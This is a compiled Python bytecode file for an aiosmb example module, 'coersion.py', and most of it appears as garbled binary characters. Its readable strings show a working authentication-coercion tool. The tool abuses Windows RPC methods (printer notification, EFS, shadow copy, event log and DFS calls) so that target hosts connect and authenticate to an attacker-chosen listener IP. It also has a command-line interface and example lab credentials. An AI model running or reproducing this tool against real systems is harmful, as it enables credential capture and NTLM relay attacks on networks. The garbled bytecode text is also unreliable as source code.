o
    Žõ±j`  ã                   @   s  d dl Z d dlZd dlZd dlZd dlZd dlmZmZ d dlm	Z	 d dl
mZ d dlmZ d dlmZ d dlmZ d dlmZ d d	lmZ d d
lmZ d dlmZ eeeeedœZG dd„ deƒZG dd„ deƒZG dd„ deƒZG dd„ deƒZG dd„ deƒZG dd„ deƒZ G dd„ deƒZ!G dd„ deƒZ"G dd„ deƒZ#G dd „ d eƒZ$G d!d"„ d"eƒZ%G d#d$„ d$eƒZ&G d%d&„ d&eƒZ'G d'd(„ d(eƒZ(G d)d*„ d*eƒZ)G d+d,„ d,eƒZ*G d-d.„ d.eƒZ+G d/d.„ d.eƒZ+d0d1„ Z,G d2d3„ d3ƒZ-d4d5„ Z.d6d7„ Z/e0d8k�rd9Z1e  2e/e1ƒ¡ dS dS ):é    N)ÚABCÚabstractmethod)ÚSMBConnectionFactory)Ú
SMBMachine)ÚRPRNRPC)ÚFSRVPRPC)ÚEVENRPC)ÚEFSRRPC)ÚDFSNMRPC)ÚPRINTER_CHANGE_ADD_JOB)ÚDCERPCException)ÚRPRNÚFSRVPÚEVENÚEFSRÚDFSNMc                   @   sX   e Zd Zdd„ Zeedd„ ƒƒZeedd„ ƒƒZedd„ ƒZed	d
„ ƒZ	edd„ ƒZ
dS )ÚCoersionModulec                 C   s   d S ©N© ©Úselfr   r   ú‹/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/aiosmb/examples/coersion.pyÚ__init__   s   zCoersionModule.__init__c                 C   ó   t dƒ‚©Nz&Must be implemented in the child class©ÚNotImplementedError©Úclsr   r   r   Úprotocol!   ó   zCoersionModule.protocolc                 C   r   r   r   r   r   r   r   Úpaths&   r    zCoersionModule.pathsc                 C   sj   |d |d krt d||f ƒ‚|d }t d| j|¡}|j|d |d dkr1dt|d ƒ d	�S dd	�S )
Nr   zInvalid path template! %s %sé   z\{rnd\((\d+)\)\}é   é½  ú@Ú )ÚlistenerÚlisten_port)Ú	ExceptionÚreÚsubÚrnd_replacerÚformatÚstr)r   Úlistener_configÚpath_templateÚpathr   r   r   Úget_path+   s   þþzCoersionModule.get_pathc                 C   s*   t | d¡ƒ}d tjtjtj |d�¡S )Nr"   r&   ©Úk)ÚintÚgroupÚjoinÚrandomÚchoicesÚstringÚascii_lettersÚdigits)r   ÚmatchÚlengthr   r   r   r,   9   s   zCoersionModule.rnd_replacerc                 C   s   |   ¡ S r   )r!   )r   Úurl_strr   r   r   Úsupported_path_types>   ó   z#CoersionModule.supported_path_typesN)Ú__name__Ú
__module__Ú__qualname__r   Úclassmethodr   r   r!   r2   r,   r@   r   r   r   r   r      s    

r   c                       ó@   e Zd Z‡ fdd„Zedd„ ƒZedd„ ƒZedd„ ƒZ‡  ZS )	Ú-RpcRemoteFindFirstPrinterChangeNotificationExc                    ó   t ƒ  ¡  d S r   ©Úsuperr   r   ©Ú	__class__r   r   r   C   ó   z6RpcRemoteFindFirstPrinterChangeNotificationEx.__init__c                 C   ó   dS ©Nr   r   r   r   r   r   r   F   ó   z6RpcRemoteFindFirstPrinterChangeNotificationEx.protocolc                 C   ó   ddgS ©N)Úsmbz\\{listener}\)Úhttpz#\\{listener}@{listen_port}/{rnd(3)}r   r   r   r   r   r!   J   ó   þz3RpcRemoteFindFirstPrinterChangeNotificationEx.pathsc              
   Ã   óÊ   �z2|   ||¡}d|d  }| |¡I d H \}}|d ur|‚|j|t|d�I d H \}}|d ur1|‚W dS  tyd }	 z%t|	ƒ ¡ }
|
 d¡dksO|
 d¡dkrVW Y d }	~	dS d |	fW  Y d }	~	S d }	~	ww ©Nz\\%sr"   )ÚpszLocalMachine©TNÚrpc_s_access_deniedéÿÿÿÿÚserver_unavailable)r2   Úopen_printerÚ.hRpcRemoteFindFirstPrinterChangeNotificationExr   r)   r.   ÚlowerÚfind©r   Úrpcr/   r0   r1   ÚprinterÚhandleÚerrÚresÚeÚexcr   r   r   ÚrunQ   ó,   €ý€ûz1RpcRemoteFindFirstPrinterChangeNotificationEx.run©	rB   rC   rD   r   rE   r   r!   ri   Ú__classcell__r   r   rK   r   rG   B   ó    

rG   c                       rF   )	Ú+RpcRemoteFindFirstPrinterChangeNotificationc                    rH   r   rI   r   rK   r   r   r   i   rM   z4RpcRemoteFindFirstPrinterChangeNotification.__init__c                 C   rN   rO   r   r   r   r   r   r   l   rP   z4RpcRemoteFindFirstPrinterChangeNotification.protocolc                 C   rQ   rR   r   r   r   r   r   r!   p   rU   z1RpcRemoteFindFirstPrinterChangeNotification.pathsc              
   Ã   rV   rW   )r2   r]   Ú,hRpcRemoteFindFirstPrinterChangeNotificationr   r)   r.   r_   r`   ra   r   r   r   ri   w   rj   z/RpcRemoteFindFirstPrinterChangeNotification.runrk   r   r   rK   r   rn   h   rm   rn   c                       rF   )	ÚIsPathShadowCopiedc                    rH   r   rI   r   rK   r   r   r   �   rM   zIsPathShadowCopied.__init__c                 C   rN   ©Nr   r   r   r   r   r   r   ’   rP   zIsPathShadowCopied.protocolc                 C   rQ   rR   r   r   r   r   r   r!   –   rU   zIsPathShadowCopied.pathsc              
   Ã   sn   �z|   ||¡}|d ur|‚| |¡I d H \}}|d ur|‚W dS  ty6 } z
d |fW  Y d }~S d }~ww ©NrY   )r2   ÚhRpcIsPathShadowCopiedr   )r   rb   r/   r0   r1   re   rf   rg   r   r   r   ri   �   s   €ÿ€ÿzIsPathShadowCopied.runrk   r   r   rK   r   rp   Ž   rm   rp   c                       rF   )	ÚIsPathSupportedc                    rH   r   rI   r   rK   r   r   r   ­   rM   zIsPathSupported.__init__c                 C   rN   rq   r   r   r   r   r   r   °   rP   zIsPathSupported.protocolc                 C   rQ   rR   r   r   r   r   r   r!   ´   rU   zIsPathSupported.pathsc              
   Ã   sb   �z|   ||¡}| |¡I d H \}}|d ur|‚W dS  ty0 } z
d |fW  Y d }~S d }~ww rr   )r2   ÚhRpcIsPathSupportedr   ©r   rb   r/   r0   r1   rf   re   rg   r   r   r   ri   »   s   €ÿ€ÿzIsPathSupported.runrk   r   r   rK   r   rt   ¬   rm   rt   c                       rF   )	ÚElfrOpenBELWc                    rH   r   rI   r   rK   r   r   r   É   rM   zElfrOpenBELW.__init__c                 C   rN   )Nr   r   r   r   r   r   r   Ì   rP   zElfrOpenBELW.protocolc                 C   s   dgS )N)rS   z+\??\UNC\{listener}{listen_port}\{rnd(8)}\aar   r   r   r   r   r!   Ð   s   ÿzElfrOpenBELW.pathsc           	   
   Ã   s˜   �z|   ||¡}| |¡I d H \}}|d ur|‚W dS  tyK } z%t|ƒ ¡ }| d¡dks6| d¡dkr=W Y d }~dS d |fW  Y d }~S d }~ww )NrY   Úbad_netpathr[   Úpath_not_found)r2   ÚhElfrOpenBELWr)   r.   r_   r`   )	r   rb   r/   r0   r1   rf   re   rg   rh   r   r   r   ri   Ö   s    €ÿ€ûzElfrOpenBELW.runrk   r   r   rK   r   rw   È   s    

rw   c                       rF   )	ÚEfsRpcRemoveUsersFromFilec                    rH   r   rI   r   rK   r   r   r   è   rM   z"EfsRpcRemoveUsersFromFile.__init__c                 C   rN   ©Nr   r   r   r   r   r   r   ë   rP   z"EfsRpcRemoveUsersFromFile.protocolc                 C   ó   g d¢S ©N))rS   z+\\{listener}{listen_port}\{rnd(8)}\file.txt)rS   z#\\{listener}{listen_port}\{rnd(8)}\)rS   z"\\{listener}{listen_port}\{rnd(8)})rT   z1\\{listener}{listen_port}/{rnd(3)}\share\file.txtr   r   r   r   r   r!   ï   rA   zEfsRpcRemoveUsersFromFile.pathsc              
   Ã   ó†   �z|   ||¡}| |¡I d H \}}|d ur|‚W dS  tyB } zt|ƒ ¡  d¡dkr4W Y d }~dS d |fW  Y d }~S d }~ww ©NrY   ÚERROR_BAD_NETPATHr[   )r2   ÚhRpcEfsRpcRemoveUsersFromFiler)   r.   Úupperr`   rv   r   r   r   ri   ø   ó   €ÿ€üzEfsRpcRemoveUsersFromFile.runrk   r   r   rK   r   r{   ç   ó    

r{   c                       rF   )	ÚEfsRpcQueryUsersOnFilec                    rH   r   rI   r   rK   r   r   r   	  rM   zEfsRpcQueryUsersOnFile.__init__c                 C   rN   r|   r   r   r   r   r   r     rP   zEfsRpcQueryUsersOnFile.protocolc                 C   r}   r~   r   r   r   r   r   r!     rA   zEfsRpcQueryUsersOnFile.pathsc              
   Ã   r   r€   )r2   ÚhRpcEfsRpcQueryUsersOnFiler)   r.   rƒ   r`   rv   r   r   r   ri     r„   zEfsRpcQueryUsersOnFile.runrk   r   r   rK   r   r†     r…   r†   c                       rF   )	ÚEfsRpcQueryRecoveryAgentsc                    rH   r   rI   r   rK   r   r   r   *  rM   z"EfsRpcQueryRecoveryAgents.__init__c                 C   rN   r|   r   r   r   r   r   r   -  rP   z"EfsRpcQueryRecoveryAgents.protocolc                 C   r}   r~   r   r   r   r   r   r!   1  rA   zEfsRpcQueryRecoveryAgents.pathsc              
   Ã   r   r€   )r2   ÚhRpcEfsRpcQueryRecoveryAgentsr)   r.   rƒ   r`   rv   r   r   r   ri   :  r„   zEfsRpcQueryRecoveryAgents.runrk   r   r   rK   r   rˆ   )  r…   rˆ   c                       rF   )	ÚEfsRpcOpenFileRawc                    rH   r   rI   r   rK   r   r   r   L  rM   zEfsRpcOpenFileRaw.__init__c                 C   rN   r|   r   r   r   r   r   r   O  rP   zEfsRpcOpenFileRaw.protocolc                 C   r}   r~   r   r   r   r   r   r!   S  rA   zEfsRpcOpenFileRaw.pathsc              
   Ã   r   r€   )r2   ÚhRpcEfsRpcOpenFileRawr)   r.   rƒ   r`   rv   r   r   r   ri   \  r„   zEfsRpcOpenFileRaw.runrk   r   r   rK   r   rŠ   K  r…   rŠ   c                       rF   )	ÚEfsRpcFileKeyInfoc                    rH   r   rI   r   rK   r   r   r   m  rM   zEfsRpcFileKeyInfo.__init__c                 C   rN   r|   r   r   r   r   r   r   p  rP   zEfsRpcFileKeyInfo.protocolc                 C   r}   r~   r   r   r   r   r   r!   t  rA   zEfsRpcFileKeyInfo.pathsc              
   Ã   r   r€   )r2   ÚhRpcEfsRpcFileKeyInfor)   r.   rƒ   r`   rv   r   r   r   ri   }  r„   zEfsRpcFileKeyInfo.runrk   r   r   rK   r   rŒ   l  r…   rŒ   c                       rF   )	ÚEfsRpcEncryptFileSrvc                    rH   r   rI   r   rK   r   r   r   Ž  rM   zEfsRpcEncryptFileSrv.__init__c                 C   rN   r|   r   r   r   r   r   r   ‘  rP   zEfsRpcEncryptFileSrv.protocolc                 C   r}   r~   r   r   r   r   r   r!   •  rA   zEfsRpcEncryptFileSrv.pathsc              
   Ã   r   r€   )r2   ÚhRpcEfsRpcEncryptFileSrvr)   r.   rƒ   r`   rv   r   r   r   ri   ž  r„   zEfsRpcEncryptFileSrv.runrk   r   r   rK   r   rŽ   �  r…   rŽ   c                       rF   )	Ú!EfsRpcDuplicateEncryptionInfoFilec                    rH   r   rI   r   rK   r   r   r   °  rM   z*EfsRpcDuplicateEncryptionInfoFile.__init__c                 C   rN   r|   r   r   r   r   r   r   ³  rP   z*EfsRpcDuplicateEncryptionInfoFile.protocolc                 C   r}   r~   r   r   r   r   r   r!   ·  rA   z'EfsRpcDuplicateEncryptionInfoFile.pathsc              
   Ã   sˆ   �z|   ||¡}| ||¡I d H \}}|d ur|‚W dS  tyC } zt|ƒ ¡  d¡dkr5W Y d }~dS d |fW  Y d }~S d }~ww r€   )r2   Ú%hRpcEfsRpcDuplicateEncryptionInfoFiler)   r.   rƒ   r`   rv   r   r   r   ri   À  s    €þ€üz%EfsRpcDuplicateEncryptionInfoFile.runrk   r   r   rK   r   r�   ¯  r…   r�   c                       rF   )	ÚEfsRpcDecryptFileSrvc                    rH   r   rI   r   rK   r   r   r   Ò  rM   zEfsRpcDecryptFileSrv.__init__c                 C   rN   r|   r   r   r   r   r   r   Õ  rP   zEfsRpcDecryptFileSrv.protocolc                 C   r}   r~   r   r   r   r   r   r!   Ù  rA   zEfsRpcDecryptFileSrv.pathsc              
   Ã   r   r€   )r2   ÚhRpcEfsRpcDecryptFileSrvr)   r.   rƒ   r`   rv   r   r   r   ri   â  r„   zEfsRpcDecryptFileSrv.runrk   r   r   rK   r   r’   Ñ  r…   r’   c                       rF   )	ÚEfsRpcAddUsersToFileExc                    rH   r   rI   r   rK   r   r   r   ó  rM   zEfsRpcAddUsersToFileEx.__init__c                 C   rN   r|   r   r   r   r   r   r   ö  rP   zEfsRpcAddUsersToFileEx.protocolc                 C   r}   r~   r   r   r   r   r   r!   ú  rA   zEfsRpcAddUsersToFileEx.pathsc              
   Ã   r   r€   )r2   ÚhRpcEfsRpcAddUsersToFileExr)   r.   rƒ   r`   rv   r   r   r   ri     r„   zEfsRpcAddUsersToFileEx.runrk   r   r   rK   r   r”   ò  r…   r”   c                       rF   )	ÚEfsRpcAddUsersToFilec                    rH   r   rI   r   rK   r   r   r     rM   zEfsRpcAddUsersToFile.__init__c                 C   rN   r|   r   r   r   r   r   r     rP   zEfsRpcAddUsersToFile.protocolc                 C   r}   r~   r   r   r   r   r   r!     rA   zEfsRpcAddUsersToFile.pathsc              
   Ã   r   r€   )r2   ÚhRpcEfsRpcAddUsersToFiler)   r.   rƒ   r`   rv   r   r   r   ri   %  r„   zEfsRpcAddUsersToFile.runrk   r   r   rK   r   r–     r…   r–   c                       rF   )	ÚhNetrDfsRemoveStdRootc                    rH   r   rI   r   rK   r   r   r   8  rM   úhNetrDfsRemoveStdRoot.__init__c                 C   rN   ©Nr   r   r   r   r   r   r   ;  rP   úhNetrDfsRemoveStdRoot.protocolc                 C   r}   r~   r   r   r   r   r   r!   ?  rA   úhNetrDfsRemoveStdRoot.pathsc           	   
   Ã   ó€   �z(|   ||¡}d tjtjtj dd�¡}| ||¡I d H \}}|d ur'|‚W dS  ty? } z
d |fW  Y d }~S d }~ww ©Nr&   é   r3   rY   ©	r2   r7   r8   r9   r:   r;   r<   ÚhRpcNetrDfsAddStdRootr   ©	r   rb   r/   r0   r1   Ú	rootSharerf   re   rg   r   r   r   ri   H  ó   €þ€ÿúhNetrDfsRemoveStdRoot.runrk   r   r   rK   r   r˜   7  r…   r˜   c                       rF   )	r˜   c                    rH   r   rI   r   rK   r   r   r   X  rM   r™   c                 C   rN   rš   r   r   r   r   r   r   [  rP   r›   c                 C   r}   r~   r   r   r   r   r   r!   _  rA   rœ   c           	   
   Ã   r�   rž   r    r¢   r   r   r   ri   h  r¤   r¥   rk   r   r   rK   r   r˜   W  r…   c                 Ã   s   �t | ƒ d S r   )Úprint)Úmsgr   r   r   Údummy_printw  s   €r¨   c                   @   sŠ   e Zd Zdedfdededefdd„Zdd	„ Zd
d„ Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd„ ZdS ) ÚCoersionNFÚfactoryÚdelay_msÚcontinue_on_successc                 C   sL   || _ i | _g | _g | _g | _g | _g | _i | _|| _|| _	d | _
|| _d S r   )rª   ÚmodulesÚinclude_modulesÚinclude_protocolsÚinclude_path_typesÚinclude_transportsÚ
auth_typesÚ	listenersÚprint_cbr«   Ú	main_taskr¬   )r   rª   r«   r´   r¬   r   r   r   r   {  s   
zCoersion.__init__c                 Ã   s$   �| j d u rd S |   |¡I d H  d S r   )r´   )r   r§   r   r   r   r¦   ‰  s   €
zCoersion.printc                 C   s    d|dfgd|dfgdœ| _ d S )NrS   r$   rT   éP   ©rS   rT   )r³   )r   Ú	listen_ipr   r   r   Úcreate_default_listenersŽ  s   

þz!Coersion.create_default_listenersc                 C   s2   t jt }t ¡ D ]}|j|jkr|  |¡ q	d S r   )Úsysr­   rB   r   Ú__subclasses__rC   Úload_module)r   Úcurrent_moduler   r   r   r   Úload_local_modules”  s   

€þzCoersion.load_local_modulesc                 C   s4   |  ¡ | jvrg | j|  ¡ < | j|  ¡   |¡ d S r   )r   r­   Úappend)r   Úmoduler   r   r   r¼   ›  s   zCoersion.load_modulec                 C   s˜   |  d¡^}}}| ¡ }|dvrtdƒ‚t|ƒdkr1d }|dkr#d}n|dkr*d}n|d	kr0d
}nt|ƒ}|| jvr?g | j|< | j|  |||f¡ d S )Nú:r·   z-Invalid protocol! Must be either SMB or HTTP!r   rT   r¶   rS   r$   Úhttpsi»  )Úsplitr_   r)   Úlenr5   r³   r¿   )r   r/   ÚprotoÚhostÚportr   r   r   Úload_listener_config   s"   €

zCoersion.load_listener_configc                 C   s   |D ]}|   |¡ qd S r   )rÈ   )r   Úlistener_config_listr/   r   r   r   Úload_listener_configs´  s   ÿzCoersion.load_listener_configsc                 C   s¢   i }| j d u st| j ƒdkr| j}n| j D ]}|| jvrq| j| ||< q| jd u s1t| jƒdkr3|S | ¡ D ]\}}|D ]}| ¡ | jvrM||  |¡ q=q7|S ©Nr   )r¯   rÄ   r­   r°   Úitemsr@   Úremove)r   Úfiltered_protcolÚprotcolnamer­   rÀ   r   r   r   Úget_filtered_modules¸  s    

€þzCoersion.get_filtered_modulesc                 c   sn   � |D ]1}| j D ]+}| j | D ]#}| ¡ D ]}|d |krqt| jƒdkr+|| jvr+q|||fV  qqqqd S rË   )r³   r!   rÄ   r²   )r   rÀ   Ú	endpointsÚendpointrÅ   r/   r0   r   r   r   Úget_rpc_targetsÌ  s   €
ûÿÿÿzCoersion.get_rpc_targetsc                 Ã   s8   �|j | j ¡ |d�I d H \}}|d urd |fS |d fS )N)rÒ   )Úfrom_smbconnectionrª   Úget_connection)r   Ú
protoclassrÒ   rb   re   r   r   r   Úconnect_rpc×  s
   €zCoersion.connect_rpcc              
   Ã   s  �d }zuzI|   ||¡I d H \}}|d ur1|  dt|ƒ ¡I d H  W W |d ur/| ¡ I d H  dS dS |  dt|ƒ ¡I d H  W W |d urL| ¡ I d H  dS dS  tyx } z|  d| ¡I d H  W Y d }~W |d urr| ¡ I d H  dS dS d }~ww |d ur…| ¡ I d H  w w )Nz   [-] Failed to connect to %sFz&   [+] Successful bind to interface %sTz	   [-] %s)r×   r¦   r.   Úcloser)   )r   rÖ   rÒ   rb   re   rg   r   r   r   Útest_endpoint_connectionÝ  s4   €ÿúÿüÿ€üÿz!Coersion.test_endpoint_connectionc                 Ã   sŒ  ��z"d }|   ¡  ¡ D �]\}}|du r| jdu r W d S |D �] }|du r-| jdu r- nôt| }g }| jd u s?t| jƒdkrD| ¡ }n| ¡ D ]}|j| jvrQqH| |¡ qHi }|  	||¡D ]À\}}	}
|du ro| jdu ro n±| j
d urt | j
d ¡I d H  ||vrŽ|  ||¡I d H ||< || du r•q_|  ||¡I d H \}}|d ur±|  dt|ƒ ¡I d H  q_|4 I d H š\ | |	|
¡}|  dt|jƒt|ƒt|ƒf ¡I d H  | ||	|
¡I d H \}}|du rõ|  d¡I d H  	 W d   ƒI d H  q_|  d| ¡I d H  |  d	| ¡I d H  W d   ƒI d H  n1 I d H �sw   Y  q_qqW d S  t�yE } z|  d
| ¡I d H  d|fW  Y d }~S d }~ww )NTFr   iè  z   [!] Failed to connect to %sz   [+] Running %s %s %sz      [+] Success!z      [!] %sz      [?] %sú[-] %s)rÐ   rÌ   r¬   ÚCOERSION_PROTOCOL_NAME_MAPr±   rÄ   rÑ   Úetyper¿   rÓ   r«   ÚasyncioÚsleeprÙ   r×   r¦   r.   r2   rB   ri   r)   )r   Úrelay_resultrÏ   r­   rÀ   rÖ   rÑ   rÒ   Úendpoints_testedr/   r0   rb   re   r1   rg   r   r   r   Úcoersion_mainî  sb   €


(ù	*ö€Ù3€þzCoersion.coersion_mainc              
   Ã   s¨   �z2t | jƒdkr|  ¡  t | jƒdkrtdƒ‚t |  ¡  ¡ ƒdkr&tdƒ‚t |  	¡ ¡| _
| j
d fW S  tyS } z|  d| ¡I d H  d |fW  Y d }~S d }~ww )Nr   zNo listeners configuredzNo modules configuredrÚ   )rÄ   r­   r¾   r³   r)   rÐ   rÌ   rÝ   Úcreate_taskrá   rµ   r¦   )r   rg   r   r   r   ri   )  s   €€þzCoersion.run)rB   rC   rD   r¨   r   r5   Úboolr   r¦   r¹   r¾   r¼   rÈ   rÊ   rÐ   rÓ   r×   rÙ   rá   ri   r   r   r   r   r©   z  s    ;r©   c           	      Ã   s¼  �dd l }|jdd�}|jddddd� |jdtd	d
d� |jddtddd� |jdddd� |jddddd� |jdddd� |jdtdd� |jddd d� |jd!dd"d� |jd#dd$d� |jd%dd&d� |jd'd(d)d� |jd*d+d� |jd,d-d.d/� | ¡ }|jd u rŽtd0ƒ d S d1|jd2fgd3|jd4fgd5œ}t | ¡}t	||j
|jd6�}||_|j|_|j|_|j|_|j|_t|ƒ | ¡ I d H \}}|d ur×td7| ƒ d S |I d H  d S )8Nr   zCoersion module)Údescriptionz-vz	--verboseÚcount)ÚactionÚdefaultz--depthé   z"Recursion depth, -1 means infinite)Útyperç   Úhelpz-wz--smb-worker-countéd   zParallell countz-oz
--out-filezOutput file path.)rê   z-sz--stdinÚ
store_truezRead targets from stdin)ræ   rê   z--continue-on-successzContinue on successz--delayzDelay between requests)ré   rê   z--filter-pipe-namer¿   zFilter pipez--filter-protocol-namezFilter protocol namez--filter-method-namezFilter method namez--auth-typezLimit auth typez-lz--listen-ipz2IP address to coerse the target to connect back toÚurlz‚Connection string that describes the authentication and target. Example: smb+ntlm-password://TEST\Administrator:password@127.0.0.1ÚtargetsÚ*z5Hostname or IP address or file with a list of targets)Únargsrê   z You need to specify a listen IP!rS   r$   rT   r¶   r·   )r«   r¬   rÚ   )ÚargparseÚArgumentParserÚadd_argumentr5   Ú
parse_argsr¸   r¦   r   Úfrom_urlr©   Údelayr¬   r³   Ú	auth_typer²   Úfilter_pipe_namer°   Úfilter_protocol_namer¯   Úfilter_method_namer®   ri   )	r?   rñ   ÚparserÚargsÚlistener_configsrª   ÚcoersionÚcoersion_taskre   r   r   r   Útest:  sJ   €
þ
r   c                 Ã   sb   �t  | ¡}t|dd�}dg|_| d¡ | ¡ I d H \}}|d ur*td| ƒ d S |I d H  d S )Né2   )r«   r   z192.168.56.1rÚ   )r   rõ   r©   r¯   r¹   ri   r¦   )r?   rª   rþ   rÿ   re   r   r   r   Útest2m  s   €

r  Ú__main__z4smb2+ntlm-password://NORTH\hodor:hodor@192.168.56.23)3rÝ   r8   r:   r*   rº   Úabcr   r   Ú!aiosmb.commons.connection.factoryr   Ú!aiosmb.commons.interfaces.machiner   Ú#aiosmb.dcerpc.v5.interfaces.rprnmgrr   Ú$aiosmb.dcerpc.v5.interfaces.fsrvpmgrr   Ú#aiosmb.dcerpc.v5.interfaces.evenmgrr   Ú#aiosmb.dcerpc.v5.interfaces.efsrmgrr	   Ú$aiosmb.dcerpc.v5.interfaces.dfsnmmgrr
   Úaiosmb.dcerpc.v5.rprnr   Úaiosmb.dcerpc.v5.rpcrtr   rÛ   r   rG   rn   rp   rt   rw   r{   r†   rˆ   rŠ   rŒ   rŽ   r�   r’   r”   r–   r˜   r¨   r©   r   r  rB   rí   ri   r   r   r   r   Ú<module>   s`    û%&&!!"!!""!"#   A3
þ